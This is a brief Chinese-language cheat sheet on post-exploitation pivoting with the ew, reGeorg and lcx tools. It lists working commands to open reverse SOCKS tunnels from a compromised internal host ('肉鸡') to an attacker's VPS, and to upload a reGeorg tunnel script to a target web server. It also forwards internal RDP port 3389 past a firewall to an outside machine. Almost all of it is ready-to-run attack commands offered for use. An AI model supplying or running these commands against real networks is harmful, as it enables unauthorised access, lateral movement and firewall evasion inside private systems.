端口转发和流量代理 ew lcx proxifier

流量代理之ew

1、ew反向代理（内网机器无公网ip需要反弹到公网，需要在vps监听）
vps服务端执行：
./ew_for_linux64 -s rcsocks -l 1080 -e 1024
内网机器执行：
ew_for_Win.exe -s rssocks -d vps的ip -e 1024
使用方式：sock5代理访问的1080端口

2、正向代理（肉鸡既有内网ip又有公网ip，直接建立正向代理进入内网，无需vps）
内网机器执行：
ew_for_Win.exe -s ssocksd -l 1080
使用方式：sock5代理访问内网机器的外网ip的1080端口

流量代理之reGeorg

1、下载git clone https://github.com/sensepost/reGeorg.git
2、reGeorg是以php文件形式转发流量，所以把tunnel.nosocket.php上传到目标web机器
3、vps执行以下命令创建一个sock代理
python reGeorgSocksProxy.py -p 8080 -u http://upload.xxxx.net:8080/tunnel/tunnel.jsp
4、使用方式：sock5代理访问的8080端口

端口转发之lcx

内网机器执行：
1、转发
lcx.exe -slave vps的ip 1111 192.168.1.133 3389
把内网机器的3389转发到外网vps的1111
公网vps执行：
lcx.exe -listen 1111 2222
1111端口做接受端，然后转发到2222端口，RDP连接2222端口等效于RDP连接内网3389

2、端口映射
内网3389的流量被防火墙拦住，不让出去，此时要内网3389映射到本机其他可以出去的端口，比如3333
lcx.exe -tran 3333 192.168.1.133 3389

参考链接：

https://xz.aliyun.com/t/6966